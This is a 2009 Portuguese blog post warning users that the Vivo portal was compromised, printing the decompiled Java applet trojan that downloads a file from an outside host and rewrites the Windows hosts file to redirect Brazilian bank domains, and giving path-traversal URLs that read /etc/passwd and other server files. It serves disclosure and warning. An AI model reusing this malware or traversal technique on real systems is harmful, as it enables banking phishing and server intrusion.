Falhas grotescas no portal da Vivo – Insegurança total

by Rafael Santos on set.09, 2009, under Informática


ill_malware_400Buenas! Volto do limbo para alertar aos usuários do portal da Vivo que falhas grotescas estão comprometendo a segurança dos visitantes.

Ontem, dia 08/09/2009, o portal foi comprometido e passou a infectar os computadores dos visitantes com um trojan.

Quem acessou o portal entre ontem e hoje deve evitar acessar sites bancários e verificar seu computador com um bom antivírus devidamente atualizado.

Detalhes abaixo:

Ao acessar a página principal uma mensagem solicitava que um applet fosse executado, este applet cria o arquivo “c:\NOSO072009BETA3ba.log” e tenta realizar as seguintes alterações no arquivo hosts:

69.162.114.180 santander.com.br
69.162.114.180 www.santander.com.br
69.162.114.181 itau.com.br
69.162.114.181 www.itau.com.br
69.162.114.181 www.itau.com
69.162.114.181 itau.com
69.162.114.181 itaupersonnalite.com.br
69.162.114.181 www.itaupersonnalite.com.br
69.162.114.182 www.bradesco.com.br
69.162.114.182 bradesco.com.br
69.162.114.182 www.bradesco.com
69.162.114.182 bradesco.com
69.162.114.182 www.bradescoempresa.com.br
69.162.114.182 bradescoempresa.com.br
69.162.114.182 www.bradescoprime.com.br
69.162.114.182 bradescoprime.com.br
69.162.114.182 bradescocartoes.com.br
69.162.114.182 www.bradescocartoes.com.br
69.162.114.179 www.nossacaixa.com.br
69.162.114.179 nossacaixa.com.br

Ao analizar o arquivo http://www.vivo.com.br/portal/home.php encontrei o seguinte código:

<applet name="Vivo Online - IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run&#180;.)" code="laa.class"
archive="http://www.vivo.com.br/portal/co/logo_top.jpg" height="0"
width="0"><param name="Vivo Online" value=""></applet>

Reparem que é um arquivo JAR com extensão "jpg", para que o usuário comum acredite ser uma foto.

$ file logo_top.jpg:
Zip archive data, at least v2.0 to extract

Vejam os fontes desse arquivo:

import java.applet.Applet;
import java.awt.Color;
import java.awt.Graphics;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class laa extends Applet
{
  public void paint(Graphics g)
  {
    g.setColor(Color.red);
    g.drawString("...", 5, 10);
  }

  public void H32A(String URLexterna, String SalvarComo)
  {
    try
    {
      int i;
      File files = new File(SalvarComo);
      boolean exists = files.exists();
      if (exists)
        return;
      URL url = new URL(URLexterna);
      URLConnection connection = url.openConnection();
      InputStream stream = connection.getInputStream();
      BufferedInputStream in = new BufferedInputStream(stream);
      FileOutputStream file = new FileOutputStream(SalvarComo);
      BufferedOutputStream out = new BufferedOutputStream(file);

      while ((i = in.read()) != -1)
        out.write(i);
      out.flush();
      out.close();
    }
    catch (IOException localIOException)
    {
    }
  }

  public void H32C(String HostIP, String HostURL)
  {
    try {
      File file = new File("\\WINDOWS\\system32\\drivers\\etc\\hosts");
      FileWriter filewriter = new FileWriter(file, true);
      filewriter.write(HostIP + " " + HostURL + System.getProperty
      ("line.separator"));
      filewriter.close();
    }
    catch (Exception localException)
    {
    }
  }

  public void teste(String valor)
  {
    try {
      Runtime.getRuntime().exec(valor);
    }
    catch (IOException localIOException)
    {
    }
  }

  public void merda1() {
    try {
      int i;
      File files = new File("c:\\NOSO072009BETA3ba.log");
      boolean exists = files.exists();
      if (exists)
        return;
      URL url = new URL
      ("http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php");
      URLConnection connection = url.openConnection();
      InputStream stream = connection.getInputStream();
      BufferedInputStream in = new BufferedInputStream(stream);
      FileOutputStream file = new FileOutputStream
      ("c:\\NOSO072009BETA3ba.log");
      BufferedOutputStream out = new BufferedOutputStream(file);

      while ((i = in.read()) != -1)
        out.write(i);
      out.flush();
      out.close();
      H32C("", "");
      H32C("69.162.114.180", "santander.com.br");
      H32C("69.162.114.180", "www.santander.com.br");
      H32C("69.162.114.181", "itau.com.br");
      H32C("69.162.114.181", "www.itau.com.br");
      H32C("69.162.114.181", "www.itau.com");
      H32C("69.162.114.181", "itau.com");
      H32C("69.162.114.181", "itaupersonnalite.com.br");
      H32C("69.162.114.181", "www.itaupersonnalite.com.br");
      H32C("69.162.114.182", "www.bradesco.com.br");
      H32C("69.162.114.182", "bradesco.com.br");
      H32C("69.162.114.182", "www.bradesco.com");
      H32C("69.162.114.182", "bradesco.com");
      H32C("69.162.114.182", "www.bradescoempresa.com.br");
      H32C("69.162.114.182", "bradescoempresa.com.br");
      H32C("69.162.114.182", "www.bradescoprime.com.br");
      H32C("69.162.114.182", "bradescoprime.com.br");
      H32C("69.162.114.182", "bradescocartoes.com.br");
      H32C("69.162.114.182", "www.bradescocartoes.com.br");
      H32C("69.162.114.179", "www.nossacaixa.com.br");
      H32C("69.162.114.179", "nossacaixa.com.br");
    }
    catch (IOException localIOException)
    {
    }
  }

  public void init()
  {
    merda1();
  }
}

Além desse problema seriíssimo existe outro que até o momento não foi corrigido que permite que qualquer arquivo do servidor seja aberto em qualquer browser. É só acessar as seguintes URLs para ter acesso aos logins, grupos e hosts do servidor, respectivamente:

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/group

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts

Para acessar qualquer outro arquivo basta substituir o conteúdo após o “url=” pelo arquivo que quiser.

Créditos a quem merece:

Recebi nos comentários a informação de que a descoberta do trojan foi feita por Miguel de Curcio Filho, que inclusive postou sobre o assunto em seu blog. Recomendo também a leitura de um outro post com análises bem interessantes no blog de Sandro Süffert.


:, , , , , , ,

18 Comments for this entry

  • bressix

    Qualquer arquivos não. Eles não liberaram o /etc/shadow. hehehehhehe

  • Anderson

    Eles foram rapidos para sanar as falhas. As brechas, a principio, ja foram corrigidas.
    Esse pessoal ta abusando mesmo. Falta de experiencia para se proteger nesse obscuro mundo cibernetico.
    Te cuida Vivo.

  • Carlos

    O site da rederecord.com.br estava com problema parecido, se ainda não estiver. De tempos e tempos sempre pede para executar um .jar de um domínio estranho. Normalmente aparecia quando você acessava a parte “VER GRADE COMPLETA”.

  • Babington

    Foda do caraio, o bom é que a Vivo so quer ganhar clientes! Falta fala com o pai do Linux, assim ajuda mais e s solta a liberdade!

  • Zero Cool

    Rafael, pelo que se paga pelo serviço, o mínimo que se espera é que a operadora resolva esses problemas. Kd o comprador de tecnologia da Vivo nessa hora, que pagou por uma solução que não resolve?

  • Marcel FF

    O site estava infectado desde o dia 06/09, domingo, pelo menos, quando o acessei e recebi a mensagem pedindo pra executar o applet.

    Evidentemente desconfiei e não executei.

  • Solari

    Quem conhece a Vivo sabe que isto acontece. Eles tem pouca consideracao pelo cliente. E a lei de protecao ao consumidor, onde esta nesta hora? Uma multa milionaria para esta operadora seria uma boa licao nos irresponsaveis incompetentes.

  • Sandro Süffert

    Rafael, parabéns pelo post – quem descobriu a falha foi o Miguel de Curcio Filho.

    Postei sobre o assunto no meu blog, incluindo um link para a sua análise:

    http://sseguranca.blogspot.com/2009/09/site-invadido-da-vivo-foi-utilizado.html

    [ ]s

    Sandro Suffert

  • Sara Neves

    Parabéns pelo alerta! Muito bom mesmo, o post!

  • Helio Pascoal

    Olá, veja se podem me ajudar. Tenho um celular da Vivo e, de alguma forma, alguem conseguiu minhas informações pessoais, o que hoje em dia não é muito dificil, e tem acessado o Vivo On Line e obtido informações confidenciais da minha conta (tipo extrato de ligações e coisas assim). Cada atendimento da operadora é gerado um numero de protocolo e recebi um destes ontem (21/06) então liguei para a Vivo e quis saber do que se tratava. Fui informado que era referente a um acesso ao VOL (Vivo on line) e o protocolo gerado foi referente a isso. Mas não fiz nenhum acesso e questionei a atendente quanto a falta de segurança e se era possivel outra pessoa fazer este acesso, mas ela não soube me informar se isso é possivel visto que se minha senha de acesso for alterada eu receberia um SMS com a nova senha. Mas imagino que é possível, de algum jeito, que esta senha seja enviada para outro numero de celular ou e-mail sem que eu fique sabendo. E é exatamente isso que preciso saber. E se isso for possivel, o que devo fazer para me precaver??? Agradeço muito se puderem me ajudar.

    Helio Pascoal

12 Trackbacks / Pingbacks for this entry

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...